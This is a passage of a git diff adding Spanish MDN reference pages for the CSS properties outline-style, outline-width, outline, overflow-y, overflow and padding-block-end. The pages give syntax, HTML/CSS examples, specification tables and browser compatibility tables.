+<p>{{ EmbedLiveSample('Example_1_-_dotted_and_dashed') }}</p>
+
+<h2 id="Example_2_-_solid_and_double" name="Example_2_-_solid_and_double">Ejemplo 2 - <code>solid</code> y <code>double</code></h2>
+
+<h3 id="HTML_2">HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;div class="solid"&gt;
+    &lt;p class="double"&gt;Outline Demo&lt;/p&gt;
+  &lt;/div&gt;
+&lt;/div&gt; </pre>
+
+<h3 id="CSS_2">CSS</h3>
+
+<pre class="brush: css">.solid {
+  outline-style: solid;
+}
+.double {
+  outline-style: double;
+}
+
+/* To make the Demo clearer */
+* { outline-width: 10px; padding: 15px; } </pre>
+
+<p>{{ EmbedLiveSample('Example_2_-_solid_and_double') }}</p>
+
+<h2 id="Example_3_-_groove_and_ridge" name="Example_3_-_groove_and_ridge">Ejemplo 3 - <code>groove</code> y <code>ridge</code></h2>
+
+<h3 id="HTML_3">HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;div class="groove"&gt;
+    &lt;p class="ridge"&gt;Outline Demo&lt;/p&gt;
+  &lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="CSS_3">CSS</h3>
+
+<pre class="brush: css">.groove {
+  outline-style: groove;
+}
+.ridge {
+  outline-style: ridge;
+}
+
+/* To make the Demo clearer */
+* { outline-width: 10px; padding: 15px; }</pre>
+
+<p>{{ EmbedLiveSample('Example_3_-_groove_and_ridge') }}</p>
+
+<h2 id="Example_4_-_inset_and_outset" name="Example_4_-_inset_and_outset">Ejemplo 4 - <code>inset</code> y <code>outset</code></h2>
+
+<h3 id="HTML_4">HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;div class="inset"&gt;
+    &lt;p class="outset"&gt;Outline Demo&lt;/p&gt;
+  &lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="CSS_4">CSS</h3>
+
+<pre class="brush: css">.inset {
+  outline-style: inset;
+}
+.outset {
+  outline-style: outset;
+}
+
+/* To make the Demo clearer */
+* { outline-width: 10px; padding: 15px; }</pre>
+
+<p>{{ EmbedLiveSample('Example_4_-_inset_and_outset') }}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Basic UI', '#outline-style', 'outline-style')}}</td>
+   <td>{{Spec2('CSS3 Basic UI')}}</td>
+   <td>Se añade el valor <code>auto</code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'ui.html#propdef-outline-style', 'outline-style')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>1.0</td>
+   <td>1.5 (1.8)<sup>[1]</sup></td>
+   <td>8.0</td>
+   <td>7.0</td>
+   <td>1.2 (125)</td>
+  </tr>
+  <tr>
+   <td><code>auto</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>2.1</td>
+   <td>{{CompatGeckoMobile("46")}}</td>
+   <td>10</td>
+   <td>12</td>
+   <td>3.2</td>
+  </tr>
+  <tr>
+   <td><code>auto</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] En navegadores anteriores a <a href="/en-US/docs/Gecko">Gecko</a> 1.8 (<a href="/en-US/docs/Firefox_1.5_for_developers">Firefox 1.5</a>) este efecto podía lograrse usando la <a href="/es/docs/Web/CSS/Referencia_CSS/Extensiones_CSS_Mozilla">CSS de Mozilla</a> {{Cssxref("-moz-outline-style")}}.</p>
diff --git a/files/es/web/css/outline-width/index.html b/files/es/web/css/outline-width/index.html
new file mode 100644
index 0000000000..1b52fef25b
--- /dev/null
+++ b/files/es/web/css/outline-width/index.html
@@ -0,0 +1,176 @@
+---
+title: outline-width
+slug: Web/CSS/outline-width
+tags:
+  - Contorno CSS
+  - Propiedad CSS
+translation_of: Web/CSS/outline-width
+---
+<div>{{CSSRef}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La propiedad CSS <strong><code>outline-width</code></strong> es usada para establecer el grosor del contorno de un elemento. Un contorno es una línea que se dibuja al rededor de los elementos, fuera de los límites del borde, para resaltar al elemento:</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush:css">/* Valores clave */
+outline-width: thin;
+outline-width: medium;
+outline-width: thick;
+
+/* Valores &lt;length&gt; */
+outline-width: 1px;
+outline-width: 0.1em;
+
+/* Valores globales */
+outline-width: inherit;
+</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>thin</code></dt>
+ <dd>Depende del Agente Usuario. Generalmente <strong>1px</strong> en navegadores de escritorio como Firefox.</dd>
+ <dt><code>medium</code></dt>
+ <dd>Depende del Agente Usuario. Generalmente <strong>3px</strong> en navegadores de escritorio como Firefox.</dd>
+ <dt><code>thick</code></dt>
+ <dd>Depende del Agente Usuario. Generalmente <strong>5px</strong> en navegadores de escritorio como Firefox.</dd>
+ <dt><code>&lt;length&gt;</code></dt>
+ <dd>Ver valores {{cssxref("&lt;length&gt;")}}.</dd>
+</dl>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Contenido_HTML">Contenido HTML</h3>
+
+<pre class="brush: html">&lt;span id="thin"&gt;thin&lt;/span&gt;
+&lt;span id="medium"&gt;medium&lt;/span&gt;
+&lt;span id="thick"&gt;thick&lt;/span&gt;
+&lt;span id="twopixels"&gt;2px&lt;/span&gt;
+&lt;span id="oneex"&gt;1ex&lt;/span&gt;
+&lt;span id="twoem"&gt;2em&lt;/span&gt;
+</pre>
+
+<h3 id="Contenido_CSS">Contenido CSS</h3>
+
+<pre class="brush: css">span {
+  outline-style: solid;
+  display: inline-block;
+  margin: 20px;
+}
+
+#thin {
+  outline-width: thin;
+}
+
+#medium {
+  outline-width: medium;
+}
+
+#thick {
+  outline-width: thick;
+}
+
+#twopixels {
+  outline-width: 2px;
+}
+
+#oneex {
+  outline-width: 1ex;
+}
+
+#twoem {
+  outline-width: 2em;
+}
+
+</pre>
+
+<p>{{EmbedLiveSample('Examples', '100%', '80')}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Basic UI', '#outline-width', 'outline-width')}}</td>
+   <td>{{Spec2('CSS3 Basic UI')}}</td>
+   <td>Sin cambios</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'outline-width')}}</td>
+   <td>{{Spec2('CSS3 Transitions')}}</td>
+   <td>Define <code>outline-width</code> como propiedad que puede ser animada.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'ui.html#propdef-outline-width', 'outline-width')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>1.0</td>
+   <td>1.5 (1.8)<sup>[1]</sup></td>
+   <td>8.0</td>
+   <td>7.0</td>
+   <td>1.2 (125)</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] En navegadores previos a <a href="/es/docs/Gecko">Gecko</a> 1.8 (<a href="/es/docs/Firefox_1.5_para_Desarrolladores">Firefox 1.5</a>) se podía lograr esencialmente el mismo efecto usando la <a href="/es/docs/Web/CSS/Referencia_CSS/Extensiones_CSS_Mozilla">Extensión CSS de Mozilla</a> {{Cssxref("-moz-outline-width")}}.</p>
diff --git a/files/es/web/css/outline/index.html b/files/es/web/css/outline/index.html
new file mode 100644
index 0000000000..288c5fca34
--- /dev/null
+++ b/files/es/web/css/outline/index.html
@@ -0,0 +1,128 @@
+---
+title: outline
+slug: Web/CSS/outline
+tags:
+  - Contorno CSS
+  - Propiedad CSS
+translation_of: Web/CSS/outline
+---
+<div>{{CSSRef}}</div>
+
+<p>La propiedad <a href="/es/docs/Web/CSS">CSS</a> <strong><code>outline</code></strong> es una <a href="/es/docs/Web/CSS/Shorthand_properties">forma reducida</a> para establecer una o más de las propiedades individuales de contorno {{cssxref("outline-style")}}, {{cssxref("outline-width")}} y {{cssxref("outline-color")}} en una sola declaración. En la mayoría de los casos el uso de este atajo es preferible y más conveniente.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/outline.html")}}</div>
+
+<p>Al igual que con todas las propiedades abreviadas, cualquier subvalor omitido se establecerá en su valor inicial.</p>
+
+<h3 id="Border_vs_outline">Border vs outline</h3>
+
+<p>Los bordes y los contornos son muy similares. Sin embargo, los contornos difieren de los bordes de la siguiente manera:</p>
+
+<ul>
+ <li>Los contornos no ocupan espacio, son dibujados por encima del elemento. Por lo tanto, su aparición u ocultamiento no causa un redibujado de las cajas. No suma en el tamaño de la caja y no hay movimiento o desplazamiento de los elementos como con {{cssxref("border")}}.</li>
+ <li>Los contornos pueden no ser rectangulares. Si el elemento se distribuye en varias líneas, el contorno no forma un rectágulo para encerrar a todo el elemento. A <strong>diferencia de los bordes</strong>, el contorno no está abierto en algunos lados:
+  <p><span style="outline: 2px solid #666666;">Ejemplo: contorno aplicado a<br>
+   varias líneas</span></p>
+
+  <p><span style="border: 2px solid #666666;">Ejemplo: borde aplicado a<br>
+   varias líneas</span></p>
+ </li>
+</ul>
+
+<div style="">{{cssinfo}}</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre><code>/* style */
+outline: solid;
+
+/* color | style */
+outline: #f66 dashed;
+
+/* style | width */
+outline: inset thick;
+
+/* color | style | width */
+outline: green solid 3px;
+
+/* Global values */
+outline: inherit;
+outline: initial;
+outline: unset;</code></pre>
+
+<h3 id="Valores">Valores</h3>
+
+<p>Uno, dos o tres valores, en orden arbitrario:</p>
+
+<dl>
+ <dt><code>&lt;outline-width&gt;</code></dt>
+ <dd>Ver {{Cssxref("outline-width")}}.</dd>
+ <dt><code>&lt;outline-style&gt;</code></dt>
+ <dd>Ver {{Cssxref("outline-style")}}.</dd>
+ <dt><code>&lt;outline-color&gt;</code></dt>
+ <dd>Desde Gecko 1.9 (Firefox 3), es usado el valor de la propiedad {{Cssxref("color")}} del elemento (color de primer plano). Ver {{Cssxref("outline-color")}}.</dd>
+</dl>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Example">Example</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;a href="#"&gt;Este link tiene un estilo especial para el foco&lt;/a&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">a {
+  border: 1px solid;
+  border-radius: 3px;
+  display: inline-block;
+  margin: 10px;
+  padding: 5px;
+}
+
+a:focus {
+  outline: 4px dotted #e73;
+  outline-offset: 4px;
+  background: #ffa;
+}
+</pre>
+
+<h3 id="Result">Result</h3>
+
+<p>{{EmbedLiveSample("Example", "100%", 60)}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Basic UI', '#outline', 'outline')}}</td>
+   <td>{{Spec2('CSS3 Basic UI')}}</td>
+   <td>Sin cambios</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'ui.html#propdef-outline', 'outline')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<div>
+
+
+<p>{{Compat("css.properties.outline")}}</p>
+</div>
diff --git a/files/es/web/css/overflow-y/index.html b/files/es/web/css/overflow-y/index.html
new file mode 100644
index 0000000000..7650175806
--- /dev/null
+++ b/files/es/web/css/overflow-y/index.html
@@ -0,0 +1,138 @@
+---
+title: overflow-y
+slug: Web/CSS/overflow-y
+tags:
+  - CSS
+  - CSS Modelo de Caja
+  - Propiedad CSS
+translation_of: Web/CSS/overflow-y
+---
+<div>{{CSSRef}}</div>
+
+<p>La propiedad <a href="/es/docs/Web/CSS">CSS </a><code>overflow-y</code> define qué se debe mostrar cuando el contenido se desborda de los extremos superior e inferior de un elemento en bloque.</p>
+
+<div class="blockIndicator note">
+<p>Si {{cssxref("overflow-x")}} es <code>hidden</code>, <code>scroll</code> o <code>auto</code> y esta propiedad es <code>visible</code> (por defecto) se calculará implícitamente como <code>auto</code>.</p>
+</div>
+
+<p>{{EmbedInteractiveExample("pages/css/overflow-y.html")}}</p>
+
+<div class="hidden">
+<p>El código para este ejemplo interactivo está almacenado en un repositorio de GitHub. Si quieres contribuir con el proyecto de ejemplos interactivos, por favor clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> y envíanos un pull request.</p>
+</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush: css"><code>/* Valores con una palabra clave */
+overflow-y: visible;
+overflow-y: hidden;
+overflow-y: scroll;
+overflow-y: auto;</code>
+
+/* Valores globales */
+overflow-y: inherit;
+overflow-y: initial;
+overflow-y: unset;</pre>
+
+<p>La propiedad <code>overflow-y</code> es especificada con una sola palabra clave escogida de la lista de abajo.</p>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>visible</code></dt>
+ <dd>El contenido no es recortado y puede ser visualizado fuera de los extremos superior e inferior del área de padding.</dd>
+ <dt><code>hidden</code></dt>
+ <dd>El contenido es recortado, si es necesario, para que se ajuste verticalmente dentro del área de padding. No se dispone de las barras de desplazamiento.</dd>
+ <dt><code>scroll</code></dt>
+ <dd>El contenido es recortado, si es necesario, para que se ajuste verticalmente dentro del área de padding. Los navegadores muestran las barras de desplazamiento independientemente de si el contenido se recorta o no (esto evita que las barras de desplazamiento aparezcan o desaparezcan  cuando el contenido cambia). Las impresoras pueden imprimir el contenido desbordado.</dd>
+ <dt><code>auto</code></dt>
+ <dd>Depende del cliente. Si el contenido se recorta dentro del área de padding, se vería igual que con la propiedad <code>visible</code>, pero aún determinado por un contexto de formato de bloque. Los navegadores de escritorio proveen barras de desplazamiento si el contenido se desborda.</dd>
+</dl>
+
+<h3 id="Sintaxis_Formal">Sintaxis Formal</h3>
+
+<pre>{{csssyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;ul&gt;
+  &lt;li&gt;&lt;code&gt;overflow-y:hidden&lt;/code&gt; — Esconde el texto fuera de la caja
+  &lt;div id="div1"&gt;
+    Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur.
+    &lt;/div&gt;
+  &lt;/li&gt;
+
+  &lt;li&gt;&lt;code&gt;overflow-y:scroll&lt;/code&gt; — Agrega una barra scroll si se necesita
+  &lt;div id="div2"&gt;
+    Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur.
+    &lt;/div&gt;
+  &lt;/li&gt;
+
+  &lt;li&gt;&lt;code&gt;overflow-y:visible&lt;/code&gt; — Muestra el texto fuera de la caja si se necesita
+  &lt;div id="div3"&gt;
+    Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur.
+    &lt;/div&gt;
+  &lt;/li&gt;
+
+  &lt;li&gt;&lt;code&gt;overflow-y:auto&lt;/code&gt; — En la mayoría de los navegadores, equivalente a &lt;code&gt;scroll&lt;/code&gt;
+  &lt;div id="div4"&gt;
+    Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur.
+    &lt;/div&gt;
+  &lt;/li&gt;
+&lt;/ul&gt;
+
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">#div1,
+#div2,
+#div3,
+#div4 {
+  border: 1px solid black;
+  width:  250px;
+  height: 100px;
+}
+
+#div1 { overflow-y: hidden; margin-bottom: 12px;}
+#div2 { overflow-y: scroll; margin-bottom: 12px;}
+#div3 { overflow-y: visible; margin-bottom: 120px;}
+#div4 { overflow-y: auto; margin-bottom: 120px;}
+</pre>
+
+<h3 id="Resultado">Resultado</h3>
+
+<figure>
+<p>{{EmbedLiveSample("Ejemplo", "100%", "780")}}</p>
+</figure>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Overflow', '#propdef-overflow-y', 'overflow-y') }}</td>
+   <td>{{Spec2('CSS3 Box')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>{{Compat("css.properties.overflow-y")}}</div>
+
+<h2 id="See_also" name="See_also">Ver también</h2>
+
+<ul>
+ <li>Propiedades CSS relacionadads: {{cssxref("text-overflow")}}, {{cssxref("white-space")}}, {{Cssxref("overflow")}}, {{Cssxref("overflow-x")}}, {{Cssxref("clip")}}, {{Cssxref("display")}}</li>
+</ul>
diff --git a/files/es/web/css/overflow/index.html b/files/es/web/css/overflow/index.html
new file mode 100644
index 0000000000..bdc053d2d4
--- /dev/null
+++ b/files/es/web/css/overflow/index.html
@@ -0,0 +1,118 @@
+---
+title: overflow (excedente)
+slug: Web/CSS/overflow
+translation_of: Web/CSS/overflow
+---
+<div>{{ CSSRef() }}</div>
+
+<h2 id="Summary" name="Summary">Sumario</h2>
+
+<p>La propiedad CSS <code>overflow</code>  especifica: si recortar contenido, dibujar barras de desplazamiento o mostrar el contenido excedente en un elemento a nivel de bloque.</p>
+
+<p>Usando la propiedad <code>overflow</code> con un valor distinto a <code>visible</code>, valor por defecto, creará un nuevo <a href="/en-US/docs/CSS/block_formatting_context" title="CSS/block_formatting_context">contexto de formatos de bloques</a>. Esto es técnicamente necesario debido a que si un elemento flotante interceptara con otros forzaría a reajustar el contenido alrededor de los elementos que se interceden. El reajuste sucedería luego de cada desplazamiento, y llevaría a un desplazamiento demasiado lento.</p>
+
+<p>Nótese que, cambiando programáticamente el valor de <code>scrollTop</code> al elemento HTML relevante, incluso cuando <code>overflow</code> tenga el valor <code>hidden</code> un elemento podría necesitar ser desplazado.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="twopartsyntaxbox"><a href="/en-US/docs/CSS/Value_definition_syntax" title="CSS/Value_definition_syntax">Sintáxis formal</a>: {{csssyntax("overflow")}}</pre>
+
+<pre>overflow: visible
+overflow: hidden
+overflow: scroll
+overflow: auto
+
+overflow: inherit
+</pre>
+
+<h3 id="Values" name="Values">Valores</h3>
+
+<dl>
+ <dt><code>visible</code></dt>
+ <dd>Valor por defecto. El contenido no es recortado, podría ser dibujado fuera de la caja contenedora.</dd>
+ <dt><code>hidden</code></dt>
+ <dd>El contenido es recortado y no se muestran barras de posición.</dd>
+ <dt><code>scroll</code></dt>
+ <dd>El contenido es recortado y el navegador web usa las barras de desplazamiento, se haya recortado contenido o no. Esto previene cualquier problema con las barras de desplazamiento apareciendo o desapareciendo en un entorno dinámico. Puede que las impresoras impriman contenido excedente.</dd>
+ <dt><code>auto</code></dt>
+ <dd>Depende del agente de usuario. Navegadores de escritorio como Firefox proveen barras de desplazamiento si hay contenido excedente.</dd>
+</dl>
+
+<h4 id="Mozilla_Extensions" name="Mozilla_Extensions">Extensiones de Mozilla</h4>
+
+<dl>
+ <dt><code>-moz-scrollbars-none </code>{{ obsolete_inline() }}</dt>
+ <dd>Usar <code>overflow:hidden</code>.</dd>
+ <dt><code>-moz-scrollbars-horizontal </code>{{ Deprecated_inline() }}</dt>
+ <dd>Es preferible el uso de {{ Cssxref("overflow-x") }} y {{ Cssxref("overflow-y") }}.</dd>
+ <dt><code>-moz-scrollbars-vertical </code>{{ Deprecated_inline() }}</dt>
+ <dd>Es preferible el uso de {{ Cssxref("overflow-x") }} y {{ Cssxref("overflow-y") }}.</dd>
+ <dt>-moz-hidden-unscrollable {{ non-standard_inline() }}</dt>
+ <dd>Es usada principalmente para uso interno y por temas. Deshabilita el desplazamiento en elementos XML root y <code>&lt;html&gt;</code>, <code> &lt;body&gt;</code> usando las flechas del teclado o la rueda del ratón.</dd>
+</dl>
+
+<h2 id="Examples" name="Examples">Ejemplos</h2>
+
+<pre class="brush: css">p {
+     width: 12em;
+     border: dotted;
+     overflow: visible;   /* dibuja barras si es necesario */
+}
+</pre>
+
+<p style="overflow: visible; display: inline-block; width: 12em; height: 6em; border: dotted;"><code>visible</code> (por defecto)<br>
+ Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium.</p>
+
+<pre>p { overflow: hidden; /* no se dibujan barras */ }
+</pre>
+
+<p style="overflow: hidden; display: inline-block; width: 12em; height: 6em; border: dotted;"><code>overflow: hidden</code><br>
+ Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium.</p>
+
+<pre>p { overflow: scroll; /* se dibujan ambas barras */ }
+</pre>
+
+<p style="overflow: scroll; display: inline-block; width: 12em; height: 6em; border: dotted;"><code>overflow: scroll</code><br>
+ Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium.</p>
+
+<pre>p { overflow: auto; /* se dibujan barras según se necesite */ }
+</pre>
+
+<p style="overflow: auto; display: inline-block; width: 12em; height: 6em; border: dotted;"><code>overflow: auto</code><br>
+ Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium.</p>
+
+<h2 id="Specifications" name="Specifications">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Box', '#overflow1', 'overflow') }}</td>
+   <td>{{ Spec2('CSS3 Box') }}</td>
+   <td>Sin cambios.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS2.1', 'visufx.html#overflow', 'overflow') }}</td>
+   <td>{{ Spec2('CSS2.1') }}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilidad en navegadores</h2>
+
+<p>{{Compat("css.properties.overflow")}}</p>
+
+<h2 id="See_also" name="See_also">Véase también</h2>
+
+<ul>
+ <li>Propiedades CSS relacionadas: {{ cssxref("text-overflow") }}, {{ cssxref("white-space") }}, {{ Cssxref("overflow-x") }}, {{ Cssxref("overflow-y") }}, {{ Cssxref("clip") }}, {{ Cssxref("display") }} (</li>
+</ul>
diff --git a/files/es/web/css/padding-block-end/index.html b/files/es/web/css/padding-block-end/index.html
new file mode 100644
index 0000000000..f853d3bd67
--- /dev/null
+++ b/files/es/web/css/padding-block-end/index.html
@@ -0,0 +1,96 @@
+---
+title: padding-block-end
+slug: Web/CSS/padding-block-end
+translation_of: Web/CSS/padding-block-end
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propiedad de <a href="/en-US/docs/Web/CSS">CSS</a>  <strong><code>padding-block-end</code></strong> define el relleno de final de bloque lógico de un elemento, que se asigna a un relleno físico en función del modo de escritura, la direccionalidad y la orientación del texto del elemento. Corresponde a las propiedades {{cssxref("padding-top")}}, {{cssxref("padding-right")}}, {{cssxref("padding-bottom")}}, o {{cssxref("padding-left")}} dependiendo de los valores definidos por {{cssxref("writing-mode")}}, {{cssxref("direction")}}, y {{cssxref("text-orientation")}}.</p>
+
+<p>Esto se relaciona con {{cssxref("padding-block-start")}}, {{cssxref("padding-inline-start")}}, y {{cssxref("padding-inline-end")}}, que define los otros rellenos del elemento.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/padding-block-end.html")}}</div>
+
+
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush:css no-line-numbers">/* &lt;length&gt; values */
+padding-block-end: 10px;      /* An absolute length */
+padding-block-end: 1em;       /* A length relative to the text size */
+
+/* &lt;percentage&gt; value */
+padding-block-end: 5%;        /* A padding relative to the block container's width */
+
+/* Global values */
+padding-block-end: inherit;
+padding-block-end: initial;
+padding-block-end: unset;
+</pre>
+
+<p>{{cssinfo}}</p>
+
+<h3 id="Valores">Valores</h3>
+
+<p>La propiedad <code>padding-block-end</code> toma los mismos valores de la propiedad {{cssxref("padding-left")}}.</p>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="Contenido_HTML">Contenido HTML </h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p class="exampleText"&gt;Example text&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Contenido_CSS">Contenido CSS </h3>
+
+<pre class="brush: css">div {
+  background-color: yellow;
+  width: 120px;
+  height: 120px;
+}
+
+.exampleText {
+  writing-mode: vertical-lr;
+  padding-block-end: 20px;
+  background-color: #C8C800;
+}</pre>
+
+<p>{{EmbedLiveSample("Ejemplo", 140, 140)}}</p>
+
+<h2 id="Especificación">Especificación</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-padding-block-end", "padding-block-end")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+
+
+<p>{{Compat("css.properties.padding-block-end")}}</p>
+
+<h2 id="Mira_también">Mira también</h2>
+
+<ul>
+ <li>Las propiedades físicas mapeadas: {{cssxref("padding-top")}}, {{cssxref("padding-right")}}, {{cssxref("padding-bottom")}}, y {{cssxref("padding-left")}}</li>
